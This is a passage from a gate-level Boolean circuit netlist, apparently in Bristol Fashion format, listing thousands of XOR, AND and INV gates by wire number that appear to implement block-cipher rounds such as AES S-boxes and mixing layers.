1016 18965 18968 XOR +2 1 19063 19014 18966 XOR +2 1 1018 18965 18964 XOR +2 1 19060 19061 19059 AND +2 1 19059 19067 19058 XOR +2 1 19065 19059 19057 XOR +2 1 19059 19018 18973 XOR +2 1 19059 19076 18972 XOR +2 1 18972 19073 18967 XOR +2 1 18967 18968 19050 XOR +2 1 19067 19057 19056 AND +2 1 19056 19064 19054 XOR +2 1 19056 19074 19027 XOR +2 1 19027 19021 19048 XOR +2 1 1022 19027 19010 XOR +2 1 19010 18973 19055 XOR +2 1 19062 19054 19053 AND +2 1 19053 19023 19013 XOR +2 1 19013 19015 19052 XOR +2 1 19053 19077 18971 XOR +2 1 19010 18971 18963 XOR +2 1 19000 18963 18970 XOR +2 1 18967 18970 19051 XOR +2 1 19013 18966 19049 XOR +2 1 18963 18964 19047 XOR +2 1 19048 19085 19046 AND +2 1 19055 19084 19045 AND +2 1 19058 1023 19044 AND +2 1 19044 19046 19026 XOR +2 1 19049 19079 19043 AND +2 1 19052 19091 19042 AND +2 1 19062 19081 19041 AND +2 1 19041 19042 18980 XOR +2 1 19050 19082 19040 AND +2 1 19047 19080 19039 AND +2 1 19039 19042 18995 XOR +1 1 18995 18992 INV +2 1 19039 19040 18991 XOR +2 1 19051 19083 19038 AND +2 1 19048 19089 19037 AND +2 1 19055 19086 19036 AND +2 1 19058 19090 19035 AND +2 1 19049 19094 19034 AND +2 1 19034 19038 19011 XOR +2 1 19043 19034 18996 XOR +1 1 19011 18989 INV +2 1 19052 19087 19033 AND +2 1 19041 19033 18998 XOR +2 1 19062 19088 19032 AND +2 1 18989 19032 18988 XOR +2 1 18988 19026 18984 XOR +2 1 19050 19093 19031 AND +2 1 19031 18984 18987 XOR +2 1 19047 19095 19030 AND +2 1 19030 19031 19025 XOR +2 1 19036 19025 19007 XOR +2 1 19037 19007 19008 XOR +2 1 19045 19008 19012 XOR +2 1 19046 19012 19017 XOR +2 1 18998 19025 18994 XOR +2 1 19026 18994 18997 XOR +2 1 18996 18997 19099 XOR +2 1 18989 18994 18993 XOR +2 1 18992 18993 19098 XOR +2 1 19017 18991 19097 XOR +2 1 19007 18984 18983 XOR +2 1 19044 19012 18981 XOR +2 1 18980 18981 36578 XOR +2 1 36578 916 788 XOR +2 1 948 788 820 XOR +2 1 980 820 852 XOR +2 1 1012 852 884 XOR +2 1 19051 19092 19029 AND +2 1 19040 19029 18990 XOR +1 1 18990 18986 INV +2 1 18986 18987 19096 XOR +1 1 19099 36575 INV +2 1 36575 919 791 XOR +2 1 951 791 823 XOR +2 1 983 823 855 XOR +2 1 1015 855 887 XOR +1 1 19098 36576 INV +2 1 36576 918 790 XOR +2 1 950 790 822 XOR +2 1 982 822 854 XOR +2 1 1014 854 886 XOR +1 1 19097 36581 INV +2 1 36581 913 785 XOR +2 1 945 785 817 XOR +2 1 977 817 849 XOR +2 1 1009 849 881 XOR +1 1 19096 36580 INV +2 1 36580 914 786 XOR +2 1 946 786 818 XOR +2 1 978 818 850 XOR +2 1 1010 850 882 XOR +2 1 890 888 21502 XOR +2 1 21502 21597 21582 XOR +2 1 891 888 21595 XOR +2 1 21595 21518 21591 XOR +2 1 21502 21508 21590 XOR +2 1 21518 21590 21588 XOR +2 1 21501 21595 21587 XOR +2 1 895 21587 21586 XOR +2 1 21504 21502 21464 XOR +2 1 21501 21464 21585 XOR +2 1 888 894 21596 XOR +2 1 888 893 21594 XOR +2 1 21587 21591 21580 AND +2 1 21580 21504 21507 XOR +2 1 21588 21586 21579 AND +2 1 21596 21581 21577 AND +2 1 21577 21502 21506 XOR +2 1 21590 21583 21575 AND +2 1 21595 21584 21574 AND +2 1 21574 21503 21505 XOR +2 1 21507 21505 21511 XOR +2 1 888 21511 21516 XOR +2 1 21597 21582 21573 AND +2 1 21573 21579 21525 XOR +2 1 21525 21516 21571 XOR +2 1 21573 21574 21477 XOR +2 1 21477 21478 21524 XOR +2 1 21524 21506 21523 XOR +2 1 21576 21523 21570 XOR +2 1 21594 21585 21572 AND +2 1 21572 21575 21526 XOR +2 1 21572 21578 21530 XOR +2 1 21530 21502 21517 XOR +2 1 21525 21517 21568 XOR +2 1 21573 21526 21520 XOR +2 1 21506 21526 21480 XOR +2 1 21480 21505 21569 XOR +2 1 21511 21530 21479 XOR +2 1 890 21479 21522 XOR +2 1 21576 21520 21476 XOR +2 1 894 21476 21563 XOR +2 1 21571 21570 21567 AND +2 1 21567 21522 21562 XOR +2 1 21567 21569 21566 XOR +2 1 21568 21566 21565 AND +2 1 21565 21522 21564 XOR +2 1 21565 21577 21471 XOR +2 1 21471 21507 21467 XOR +2 1 888 21467 21470 XOR +2 1 21565 21516 21468 XOR +2 1 890 21467 21466 XOR +2 1 21562 21563 21561 AND +2 1 21561 21569 21560 XOR +2 1 21567 21561 21559 XOR +2 1 21561 21520 21475 XOR +2 1 21561 21578 21474 XOR +2 1 21474 21575 21469 XOR +2 1 21469 21470 21552 XOR +2 1 21569 21559 21558 AND +2 1 21558 21566 21556 XOR +2 1 21558 21576 21529 XOR +2 1 21529 21523 21550 XOR +2 1 894 21529 21512 XOR +2 1 21512 21475 21557 XOR +2 1 21564 21556 21555 AND +2 1 21555 21525 21515 XOR +2 1 21515 21517 21554 XOR +2 1 21555 21579 21473 XOR +2 1 21512 21473 21465 XOR +2 1 21502 21465 21472 XOR +2 1 21469 21472 21553 XOR +2 1 21515 21468 21551 XOR +2 1 21465 21466 21549 XOR +2 1 21550 21587 21548 AND +2 1 21557 21586 21547 AND +2 1 21560 895 21546 AND +2 1 21546 21548 21528 XOR +2 1 21551 21581 21545 AND +2 1 21554 21593 21544 AND +2 1 21564 21583 21543 AND +2 1 21543 21544 21482 XOR +2 1 21552 21584 21542 AND +2 1 21549 21582 21541 AND +2 1 21541 21544 21497 XOR +1 1 21497 21494 INV +2 1 21541 21542 21493 XOR +2 1 21553 21585 21540 AND +2 1 21550 21591 21539 AND +2 1 21557 21588 21538 AND +2 1 21560 21592 21537 AND +2 1 21551 21596 21536 AND +2 1 21536 21540 21513 XOR +2 1 21545 21536 21498 XOR +1 1 21513 21491 INV +2 1 21554 21589 21535 AND +2 1 21543 21535 21500 XOR +2 1 21564 21590 21534 AND +2 1 21491 21534 21490 XOR +2 1 21490 21528 21486 XOR +2 1 21552 21595 21533 AND +2 1 21533 21486 21489 XOR +2 1 21549 21597 21532 AND +2 1 21532 21533 21527 XOR +2 1 21538 21527 21509 XOR +2 1 21539 21509 21510 XOR +2 1 21547 21510 21514 XOR +2 1 21548 21514 21519 XOR +2 1 21500 21527 21496 XOR +2 1 21528 21496 21499 XOR +2 1 21498 21499 21601 XOR +2 1 21491 21496 21495 XOR +2 1 21494 21495 21600 XOR +2 1 21519 21493 21599 XOR +2 1 21509 21486 21485 XOR +2 1 21546 21514 21483 XOR +2 1 21482 21483 36610 XOR +2 1 36610 788 660 XOR +2 1 820 660 692 XOR +2 1 852 692 724 XOR +2 1 884 724 756 XOR +2 1 21553 21594 21531 AND +2 1 21542 21531 21492 XOR +1 1 21492 21488 INV +2 1 21488 21489 21598 XOR +1 1 21601 36607 INV +2 1 36607 791 663 XOR +2 1 823 663 695 XOR +2 1 855 695 727 XOR +2 1 887 727 759 XOR +1 1 21600 36608 INV +2 1 36608 790 662 XOR +2 1 822 662 694 XOR +2 1 854 694 726 XOR +2 1 886 726 758 XOR +2 1 758 756 17748 XOR +1 1 21599 36613 INV +2 1 36613 785 657 XOR +2 1 817 657 689 XOR +2 1 849 689 721 XOR +2 1 881 721 753 XOR +2 1 759 753 17755 XOR +1 1 21598 36612 INV +2 1 36612 786 658 XOR +2 1 818 658 690 XOR +2 1 850 690 722 XOR +2 1 882 722 754 XOR +2 1 754 17755 17840 XOR +2 1 758 17840 17836 XOR +2 1 17840 17836 17823 AND +2 1 1006 1004 21640 XOR +2 1 1007 1001 21647 XOR +2 1 1002 21647 21732 XOR +2 1 1006 21732 21728 XOR +2 1 21732 21728 21715 AND +2 1 886 884 22613 XOR +2 1 887 881 22620 XOR +2 1 882 22620 22705 XOR +2 1 886 22705 22701 XOR +2 1 22705 22701 22688 AND +2 1 15984 15985 32668 XOR +2 1 15981 32668 15961 XOR +2 1 15982 15961 15921 XOR +2 1 15950 15921 36590 XOR +2 1 15977 15961 15927 XOR +1 1 15927 15924 INV +2 1 15924 15925 36585 XOR +2 1 32668 15959 36587 XOR +2 1 16123 16124 32669 XOR +2 1 16120 32669 16100 XOR +2 1 16121 16100 16060 XOR +2 1 16089 16060 36558 XOR +2 1 36558 264 904 XOR +2 1 296 904 936 XOR +2 1 36590 904 776 XOR +2 1 328 936 968 XOR +2 1 360 968 1000 XOR +2 1 936 776 808 XOR +2 1 968 808 840 XOR +2 1 1000 840 872 XOR +2 1 874 872 12875 XOR +2 1 16116 16100 16066 XOR +1 1 16066 16063 INV +2 1 872 878 12970 XOR +2 1 1002 1000 21641 XOR +2 1 21641 21647 21729 XOR +2 1 16063 16064 36553 XOR +2 1 1000 1006 21735 XOR +2 1 36553 269 909 XOR +2 1 301 909 941 XOR +2 1 333 941 973 XOR +2 1 365 973 1005 XOR +2 1 1005 21640 21642 XOR +2 1 1001 21642 21723 XOR +2 1 1002 21642 21720 XOR +2 1 21647 21642 21722 XOR +2 1 1006 1005 21657 XOR +2 1 21657 21729 21727 XOR +2 1 1004 1005 21617 XOR +2 1 1000 1005 21733 XOR +2 1 21735 21720 21716 AND +2 1 21716 21641 21645 XOR +2 1 21729 21722 21714 AND +2 1 36585 909 781 XOR +2 1 941 781 813 XOR +2 1 973 813 845 XOR +2 1 1005 845 877 XOR +2 1 877 12874 12876 XOR +2 1 874 12876 12955 XOR +2 1 878 877 12892 XOR +2 1 876 877 12851 XOR +2 1 872 877 12968 XOR +2 1 12970 12955 12951 AND +2 1 873 12876 12958 XOR +2 1 12951 12875 12879 XOR +2 1 12881 12876 12957 XOR +2 1 12875 12881 12964 XOR +2 1 12964 12957 12949 AND +2 1 12892 12964 12962 XOR +2 1 32669 16098 36555 XOR +2 1 36555 267 907 XOR +2 1 299 907 939 XOR +2 1 36587 907 779 XOR +2 1 331 939 971 XOR +2 1 363 971 1003 XOR +2 1 939 779 811 XOR +2 1 971 811 843 XOR +2 1 1003 843 875 XOR +2 1 875 873 12877 XOR +2 1 875 872 12969 XOR +2 1 12969 12892 12965 XOR +2 1 12874 12969 12961 XOR +2 1 879 12961 12960 XOR +2 1 877 875 12971 XOR +2 1 12875 12971 12956 XOR +2 1 12877 12875 12837 XOR +2 1 12874 12837 12959 XOR +2 1 12877 874 12836 XOR +2 1 879 12836 12966 XOR +2 1 12961 12965 12954 AND +2 1 12954 12877 12880 XOR +2 1 12962 12960 12953 AND +2 1 12966 879 12952 AND +2 1 12969 12958 12948 AND +2 1 12948 12876 12878 XOR +2 1 12880 12878 12884 XOR +2 1 872 12884 12890 XOR +2 1 12971 12956 12947 AND +2 1 12947 12953 12899 XOR +2 1 12899 12890 12945 XOR +2 1 12947 12948 12850 XOR +2 1 12850 12851 12898 XOR +2 1 12898 12879 12897 XOR +2 1 12950 12897 12944 XOR +2 1 12968 12959 12946 AND +2 1 12946 12949 12900 XOR +2 1 12946 12952 12904 XOR +2 1 12904 12875 12891 XOR +2 1 12899 12891 12942 XOR +2 1 12947 12900 12894 XOR +2 1 12879 12900 12853 XOR +2 1 12853 12878 12943 XOR +2 1 12884 12904 12852 XOR +2 1 874 12852 12896 XOR +2 1 12950 12894 12849 XOR +2 1 878 12849 12937 XOR +2 1 12945 12944 12941 AND +2 1 12941 12896 12936 XOR +2 1 12941 12943 12940 XOR +2 1 12942 12940 12939 AND +2 1 12939 12896 12938 XOR +2 1 12939 12951 12844 XOR +2 1 12844 12880 12840 XOR +2 1 872 12840 12843 XOR +2 1 12939 12890 12841 XOR +2 1 874 12840 12839 XOR +2 1 12936 12937 12935 AND +2 1 12935 12943 12934 XOR +2 1 12941 12935 12933 XOR +2 1 12935 12894 12848 XOR +2 1 12935 12952 12847 XOR +2 1 12847 12949 12842 XOR +2 1 12842 12843 12926 XOR +2 1 12943 12933 12932 AND +2 1 12932 12940 12930 XOR +2 1 12932 12950 12903 XOR +2 1 12903 12897 12924 XOR +2 1 878 12903 12885 XOR +2 1 12885 12848 12931 XOR +2 1 12938 12930 12929 AND +2 1 12929 12899 12889 XOR +2 1 12889 12891 12928 XOR +2 1 12929 12953 12846 XOR +2 1 12885 12846 12838 XOR +2 1 12875 12838 12845 XOR +2 1 12842 12845 12927 XOR +2 1 12889 12841 12925 XOR +2 1 12838 12839 12923 XOR +2 1 12924 12961 12922 AND +2 1 12931 12960 12921 AND +2 1 12934 879 12920 AND +2 1 12920 12922 12902 XOR +2 1 12925 12955 12919 AND +2 1 12928 12967 12918 AND +2 1 12918 12919 12887 XOR +2 1 12938 12957 12917 AND +2 1 12917 12918 12855 XOR +2 1 12926 12958 12916 AND +2 1 12923 12956 12915 AND +2 1 12915 12887 12895 XOR +2 1 12915 12918 12870 XOR +1 1 12870 12867 INV +2 1 12915 12916 12866 XOR +2 1 12916 12895 12854 XOR +2 1 12927 12959 12914 AND +2 1 12924 12965 12913 AND +2 1 12931 12962 12912 AND +2 1 12934 12966 12911 AND +2 1 12911 12895 12860 XOR +1 1 12860 12857 INV +2 1 12925 12970 12910 AND +2 1 12910 12914 12886 XOR +2 1 12919 12910 12871 XOR +1 1 12886 12864 INV +2 1 12928 12963 12909 AND +2 1 12917 12909 12873 XOR +2 1 12938 12964 12908 AND +2 1 12864 12908 12863 XOR +2 1 12863 12902 12859 XOR +2 1 12926 12969 12907 AND +2 1 12907 12859 12862 XOR +2 1 12923 12971 12906 AND +2 1 12906 12907 12901 XOR +2 1 12912 12901 12882 XOR +2 1 12913 12882 12883 XOR +2 1 12921 12883 12888 XOR +2 1 12922 12888 12893 XOR +2 1 12887 12893 36627 XOR +2 1 12873 12901 12869 XOR +2 1 12902 12869 12872 XOR +2 1 12871 12872 12975 XOR +2 1 12864 12869 12868 XOR +2 1 12867 12868 12974 XOR +2 1 12893 12866 12973 XOR +2 1 12882 12859 12858 XOR +2 1 12857 12858 36625 XOR +2 1 12920 12888 12856 XOR +2 1 12855 12856 36626 XOR +2 1 12883 12854 36630 XOR +2 1 12927 12968 12905 AND +2 1 12916 12905 12865 XOR +1 1 12865 12861 INV +2 1 12861 12862 12972 XOR +1 1 12975 36623 INV +1 1 12974 36624 INV +1 1 12973 36629 INV +1 1 12972 36628 INV +2 1 1003 1001 21643 XOR +2 1 1003 1000 21734 XOR +2 1 21734 21657 21730 XOR +2 1 21640 21734 21726 XOR +2 1 1007 21726 21725 XOR +2 1 1005 1003 21736 XOR +2 1 21641 21736 21721 XOR +2 1 21643 21641 21603 XOR +2 1 21640 21603 21724 XOR +2 1 21643 1002 21602 XOR +2 1 1007 21602 21731 XOR +2 1 21726 21730 21719 AND +2 1 21719 21643 21646 XOR +2 1 21727 21725 21718 AND +2 1 21731 1007 21717 AND +2 1 21734 21723 21713 AND +2 1 21713 21642 21644 XOR +2 1 21646 21644 21650 XOR +2 1 1000 21650 21655 XOR +2 1 21736 21721 21712 AND +2 1 21712 21718 21664 XOR +2 1 21664 21655 21710 XOR +2 1 21712 21713 21616 XOR +2 1 21616 21617 21663 XOR +2 1 21663 21645 21662 XOR +2 1 21715 21662 21709 XOR +2 1 21733 21724 21711 AND +2 1 21711 21714 21665 XOR +2 1 21711 21717 21669 XOR +2 1 21669 21641 21656 XOR +2 1 21664 21656 21707 XOR +2 1 21712 21665 21659 XOR +2 1 21645 21665 21619 XOR +2 1 21619 21644 21708 XOR +2 1 21650 21669 21618 XOR +2 1 1002 21618 21661 XOR +2 1 21715 21659 21615 XOR +2 1 1006 21615 21702 XOR +2 1 21710 21709 21706 AND +2 1 21706 21661 21701 XOR +2 1 21706 21708 21705 XOR +2 1 21707 21705 21704 AND +2 1 21704 21661 21703 XOR +2 1 21704 21716 21610 XOR +2 1 21610 21646 21606 XOR +2 1 1000 21606 21609 XOR +2 1 21704 21655 21607 XOR +2 1 1002 21606 21605 XOR +2 1 21701 21702 21700 AND +2 1 21700 21708 21699 XOR +2 1 21706 21700 21698 XOR +2 1 21700 21659 21614 XOR +2 1 21700 21717 21613 XOR +2 1 21613 21714 21608 XOR +2 1 21608 21609 21691 XOR +2 1 21708 21698 21697 AND +2 1 21697 21705 21695 XOR +2 1 21697 21715 21668 XOR +2 1 21668 21662 21689 XOR +2 1 1006 21668 21651 XOR +2 1 21651 21614 21696 XOR +2 1 21703 21695 21694 AND +2 1 21694 21664 21654 XOR +2 1 21654 21656 21693 XOR +2 1 21694 21718 21612 XOR +2 1 21651 21612 21604 XOR +2 1 21641 21604 21611 XOR +2 1 21608 21611 21692 XOR +2 1 21654 21607 21690 XOR +2 1 21604 21605 21688 XOR +2 1 21689 21726 21687 AND +2 1 21696 21725 21686 AND +2 1 21699 1007 21685 AND +2 1 21685 21687 21667 XOR +2 1 21690 21720 21684 AND +2 1 21693 21732 21683 AND +2 1 21703 21722 21682 AND +2 1 21682 21683 21621 XOR +2 1 21691 21723 21681 AND +2 1 21688 21721 21680 AND +2 1 21680 21683 21636 XOR +1 1 21636 21633 INV +2 1 21680 21681 21632 XOR +2 1 21692 21724 21679 AND +2 1 21689 21730 21678 AND +2 1 21696 21727 21677 AND +2 1 21699 21731 21676 AND +2 1 21690 21735 21675 AND +2 1 21675 21679 21652 XOR +2 1 21684 21675 21637 XOR +1 1 21652 21630 INV +2 1 21693 21728 21674 AND +2 1 21682 21674 21639 XOR +2 1 21703 21729 21673 AND +2 1 21630 21673 21629 XOR +2 1 21629 21667 21625 XOR +2 1 21691 21734 21672 AND +2 1 21672 21625 21628 XOR +2 1 21688 21736 21671 AND +2 1 21671 21672 21666 XOR +2 1 21677 21666 21648 XOR +2 1 21678 21648 21649 XOR +2 1 21686 21649 21653 XOR +2 1 21687 21653 21658 XOR +2 1 21639 21666 21635 XOR +2 1 21667 21635 21638 XOR +2 1 21637 21638 21740 XOR +2 1 21630 21635 21634 XOR +2 1 21633 21634 21739 XOR +2 1 21658 21632 21738 XOR +2 1 21648 21625 21624 XOR +2 1 21685 21653 21622 XOR +2 1 21621 21622 36594 XOR +2 1 36594 900 1548 XOR +2 1 932 1548 1549 XOR +2 1 964 1549 1550 XOR +2 1 996 1550 1551 XOR +1 1 1551 868 INV +1 1 1550 836 INV +1 1 1549 804 INV +1 1 1548 772 INV +2 1 36626 772 644 XOR +2 1 804 644 676 XOR +2 1 836 676 708 XOR +2 1 868 708 740 XOR +2 1 21692 21733 21670 AND +2 1 21681 21670 21631 XOR +1 1 21631 21627 INV +2 1 21627 21628 21737 XOR +1 1 21740 36591 INV +2 1 36591 903 775 XOR +2 1 36623 775 647 XOR +2 1 935 775 807 XOR +2 1 967 807 839 XOR +2 1 999 839 871 XOR +2 1 807 647 679 XOR +2 1 839 679 711 XOR +2 1 871 711 743 XOR +1 1 21739 36592 INV +2 1 36592 902 774 XOR +2 1 934 774 806 XOR +2 1 966 806 838 XOR +2 1 998 838 870 XOR +2 1 36624 774 646 XOR +2 1 806 646 678 XOR +2 1 838 678 710 XOR +2 1 870 710 742 XOR +2 1 742 740 17053 XOR +1 1 21738 36597 INV +2 1 36597 897 769 XOR +2 1 36629 769 641 XOR +2 1 929 769 801 XOR +2 1 961 801 833 XOR +2 1 993 833 865 XOR +2 1 801 641 673 XOR +2 1 833 673 705 XOR +2 1 865 705 737 XOR +2 1 743 737 17060 XOR +1 1 21737 36596 INV +2 1 36596 898 770 XOR +2 1 930 770 802 XOR +2 1 962 802 834 XOR +2 1 994 834 866 XOR +2 1 36628 770 642 XOR +2 1 802 642 674 XOR +2 1 834 674 706 XOR +2 1 866 706 738 XOR +2 1 738 17060 17145 XOR +2 1 742 17145 17141 XOR +2 1 17145 17141 17128 AND +2 1 870 868 24566 XOR +2 1 871 865 24573 XOR +2 1 866 24573 24658 XOR +2 1 870 24658 24654 XOR +2 1 24658 24654 24641 AND +2 1 19042 19043 32690 XOR +2 1 19039 32690 19019 XOR +2 1 19035 19019 18985 XOR +1 1 18985 18982 INV +2 1 18982 18983 36577 XOR +2 1 36577 917 789 XOR +2 1 949 789 821 XOR +2 1 981 821 853 XOR +2 1 1013 853 885 XOR +2 1 885 22613 22615 XOR +2 1 881 22615 22696 XOR +2 1 882 22615 22693 XOR +2 1 22620 22615 22695 XOR +2 1 886 885 22630 XOR +2 1 884 885 22590 XOR +2 1 19040 19019 18979 XOR +2 1 19008 18979 36582 XOR +2 1 36582 912 784 XOR +2 1 944 784 816 XOR +2 1 976 816 848 XOR +2 1 1008 848 880 XOR +2 1 880 886 22708 XOR +2 1 880 885 22706 XOR +2 1 22708 22693 22689 AND +2 1 882 880 22614 XOR +2 1 22614 22620 22702 XOR +2 1 22689 22614 22618 XOR +2 1 22702 22695 22687 AND +2 1 22630 22702 22700 XOR +2 1 32690 19017 36579 XOR +2 1 36579 915 787 XOR +2 1 947 787 819 XOR +2 1 979 819 851 XOR +2 1 1011 851 883 XOR +2 1 883 881 22616 XOR +2 1 883 880 22707 XOR +2 1 22707 22630 22703 XOR +2 1 22613 22707 22699 XOR +2 1 887 22699 22698 XOR +2 1 885 883 22709 XOR +2 1 22614 22709 22694 XOR +2 1 22616 22614 22576 XOR +2 1 22613 22576 22697 XOR +2 1 22616 882 22575 XOR +2 1 887 22575 22704 XOR +2 1 22699 22703 22692 AND +2 1 22692 22616 22619 XOR +2 1 22700 22698 22691 AND +2 1 22704 887 22690 AND +2 1 22707 22696 22686 AND +2 1 22686 22615 22617 XOR +2 1 22619 22617 22623 XOR +2 1 880 22623 22628 XOR +2 1 22709 22694 22685 AND +2 1 22685 22691 22637 XOR +2 1 22637 22628 22683 XOR +2 1 22685 22686 22589 XOR +2 1 22589 22590 22636 XOR +2 1 22636 22618 22635 XOR +2 1 22688 22635 22682 XOR +2 1 22706 22697 22684 AND +2 1 22684 22687 22638 XOR +2 1 22684 22690 22642 XOR +2 1 22642 22614 22629 XOR +2 1 22637 22629 22680 XOR +2 1 22685 22638 22632 XOR +2 1 22618 22638 22592 XOR +2 1 22592 22617 22681 XOR +2 1 22623 22642 22591 XOR +2 1 882 22591 22634 XOR +2 1 22688 22632 22588 XOR +2 1 886 22588 22675 XOR +2 1 22683 22682 22679 AND +2 1 22679 22634 22674 XOR +2 1 22679 22681 22678 XOR +2 1 22680 22678 22677 AND +2 1 22677 22634 22676 XOR +2 1 22677 22689 22583 XOR +2 1 22583 22619 22579 XOR +2 1 880 22579 22582 XOR +2 1 22677 22628 22580 XOR +2 1 882 22579 22578 XOR +2 1 22674 22675 22673 AND +2 1 22673 22681 22672 XOR +2 1 22679 22673 22671 XOR +2 1 22673 22632 22587 XOR +2 1 22673 22690 22586 XOR +2 1 22586 22687 22581 XOR +2 1 22581 22582 22664 XOR +2 1 22681 22671 22670 AND +2 1 22670 22678 22668 XOR +2 1 22670 22688 22641 XOR +2 1 22641 22635 22662 XOR +2 1 886 22641 22624 XOR +2 1 22624 22587 22669 XOR +2 1 22676 22668 22667 AND +2 1 22667 22637 22627 XOR +2 1 22627 22629 22666 XOR +2 1 22667 22691 22585 XOR +2 1 22624 22585 22577 XOR +2 1 22614 22577 22584 XOR +2 1 22581 22584 22665 XOR +2 1 22627 22580 22663 XOR +2 1 22577 22578 22661 XOR +2 1 22662 22699 22660 AND +2 1 22669 22698 22659 AND +2 1 22672 887 22658 AND +2 1 22658 22660 22640 XOR +2 1 22663 22693 22657 AND +2 1 22666 22705 22656 AND +2 1 22676 22695 22655 AND +2 1 22655 22656 22594 XOR +2 1 22664 22696 22654 AND +2 1 22661 22694 22653 AND +2 1 22653 22656 22609 XOR +1 1 22609 22606 INV +2 1 22653 22654 22605 XOR +2 1 22665 22697 22652 AND +2 1 22662 22703 22651 AND +2 1 22669 22700 22650 AND +2 1 22672 22704 22649 AND +2 1 22663 22708 22648 AND +2 1 22648 22652 22625 XOR +2 1 22657 22648 22610 XOR +1 1 22625 22603 INV +2 1 22666 22701 22647 AND +2 1 22655 22647 22612 XOR +2 1 22676 22702 22646 AND +2 1 22603 22646 22602 XOR +2 1 22602 22640 22598 XOR +2 1 22664 22707 22645 AND +2 1 22645 22598 22601 XOR +2 1 22661 22709 22644 AND +2 1 22644 22645 22639 XOR +2 1 22650 22639 22621 XOR +2 1 22651 22621 22622 XOR +2 1 22659 22622 22626 XOR +2 1 22660 22626 22631 XOR +2 1 22612 22639 22608 XOR +2 1 22640 22608 22611 XOR +2 1 22610 22611 22713 XOR +2 1 22603 22608 22607 XOR +2 1 22606 22607 22712 XOR +2 1 22631 22605 22711 XOR +2 1 22621 22598 22597 XOR +2 1 22658 22626 22595 XOR +2 1 22594 22595 36618 XOR +2 1 36618 780 652 XOR +2 1 812 652 684 XOR +2 1 844 684 716 XOR +2 1 876 716 748 XOR +2 1 22665 22706 22643 AND +2 1 22654 22643 22604 XOR +1 1 22604 22600 INV +2 1 22600 22601 22710 XOR +1 1 22713 36615 INV +2 1 36615 783 655 XOR +2 1 815 655 687 XOR +2 1 847 687 719 XOR +2 1 879 719 751 XOR +1 1 22712 36616 INV +2 1 36616 782 654 XOR +2 1 814 654 686 XOR +2 1 846 686 718 XOR +2 1 878 718 750 XOR +2 1 750 748 18860 XOR +1 1 22711 36621 INV +2 1 36621 777 649 XOR +2 1 809 649 681 XOR +2 1 841 681 713 XOR +2 1 873 713 745 XOR +2 1 751 745 18867 XOR +1 1 22710 36620 INV +2 1 36620 778 650 XOR +2 1 810 650 682 XOR +2 1 842 682 714 XOR +2 1 874 714 746 XOR +2 1 746 18867 18952 XOR +2 1 750 18952 18948 XOR +2 1 18952 18948 18935 AND +2 1 21544 21545 32708 XOR +2 1 21541 32708 21521 XOR +2 1 21542 21521 21481 XOR +2 1 21537 21521 21487 XOR +1 1 21487 21484 INV +2 1 21484 21485 36609 XOR +2 1 21510 21481 36614 XOR +2 1 36614 784 656 XOR +2 1 816 656 688 XOR +2 1 848 688 720 XOR +2 1 880 720 752 XOR +2 1 754 752 17749 XOR +2 1 17749 17755 17837 XOR +2 1 752 758 17843 XOR +2 1 36609 789 661 XOR +2 1 821 661 693 XOR +2 1 853 693 725 XOR +2 1 885 725 757 XOR +2 1 757 17748 17750 XOR +2 1 754 17750 17828 XOR +2 1 17755 17750 17830 XOR +2 1 17843 17828 17824 AND +2 1 17824 17749 17753 XOR +2 1 753 17750 17831 XOR +2 1 17837 17830 17822 AND +2 1 756 757 17725 XOR +2 1 758 757 17765 XOR +2 1 17765 17837 17835 XOR +2 1 752 757 17841 XOR +2 1 32708 21519 36611 XOR +2 1 36611 787 659 XOR +2 1 819 659 691 XOR +2 1 851 691 723 XOR +2 1 883 723 755 XOR +2 1 755 753 17751 XOR +2 1 755 752 17842 XOR +2 1 17842 17765 17838 XOR +2 1 17748 17842 17834 XOR +2 1 759 17834 17833 XOR +2 1 757 755 17844 XOR +2 1 17749 17844 17829 XOR +2 1 17751 17749 17711 XOR +2 1 17748 17711 17832 XOR +2 1 17751 754 17710 XOR +2 1 759 17710 17839 XOR +2 1 17834 17838 17827 AND +2 1 17827 17751 17754 XOR +2 1 17835 17833 17826 AND +2 1 17839 759 17825 AND +2 1 17842 17831 17821 AND +2 1 17821 17750 17752 XOR +2 1 17754 17752 17758 XOR +2 1 752 17758 17763 XOR +2 1 17844 17829 17820 AND +2 1 17820 17826 17772 XOR +2 1 17772 17763 17818 XOR +2 1 17820 17821 17724 XOR +2 1 17724 17725 17771 XOR +2 1 17771 17753 17770 XOR +2 1 17823 17770 17817 XOR +2 1 17841 17832 17819 AND +2 1 17819 17822 17773 XOR +2 1 17819 17825 17777 XOR +2 1 17777 17749 17764 XOR +2 1 17772 17764 17815 XOR +2 1 17820 17773 17767 XOR +2 1 17753 17773 17727 XOR +2 1 17727 17752 17816 XOR +2 1 17758 17777 17726 XOR +2 1 754 17726 17769 XOR +2 1 17823 17767 17723 XOR +2 1 758 17723 17810 XOR +2 1 17818 17817 17814 AND +2 1 17814 17769 17809 XOR +2 1 17814 17816 17813 XOR +2 1 17815 17813 17812 AND +2 1 17812 17769 17811 XOR +2 1 17812 17824 17718 XOR +2 1 17718 17754 17714 XOR +2 1 752 17714 17717 XOR +2 1 17812 17763 17715 XOR +2 1 754 17714 17713 XOR +2 1 17809 17810 17808 AND +2 1 17808 17816 17807 XOR +2 1 17814 17808 17806 XOR +2 1 17808 17767 17722 XOR +2 1 17808 17825 17721 XOR +2 1 17721 17822 17716 XOR +2 1 17716 17717 17799 XOR +2 1 17816 17806 17805 AND +2 1 17805 17813 17803 XOR +2 1 17805 17823 17776 XOR +2 1 17776 17770 17797 XOR +2 1 758 17776 17759 XOR +2 1 17759 17722 17804 XOR +2 1 17811 17803 17802 AND +2 1 17802 17772 17762 XOR +2 1 17762 17764 17801 XOR +2 1 17802 17826 17720 XOR +2 1 17759 17720 17712 XOR +2 1 17749 17712 17719 XOR +2 1 17716 17719 17800 XOR +2 1 17762 17715 17798 XOR +2 1 17712 17713 17796 XOR +2 1 17797 17834 17795 AND +2 1 17804 17833 17794 AND +2 1 17807 759 17793 AND +2 1 17793 17795 17775 XOR +2 1 17798 17828 17792 AND +2 1 17801 17840 17791 AND +2 1 17811 17830 17790 AND +2 1 17790 17791 17729 XOR +2 1 17799 17831 17789 AND +2 1 17796 17829 17788 AND +2 1 17788 17791 17744 XOR +1 1 17744 17741 INV +2 1 17788 17789 17740 XOR +2 1 17800 17832 17787 AND +2 1 17797 17838 17786 AND +2 1 17804 17835 17785 AND +2 1 17807 17839 17784 AND +2 1 17798 17843 17783 AND +2 1 17783 17787 17760 XOR +2 1 17792 17783 17745 XOR +1 1 17760 17738 INV +2 1 17801 17836 17782 AND +2 1 17790 17782 17747 XOR +2 1 17811 17837 17781 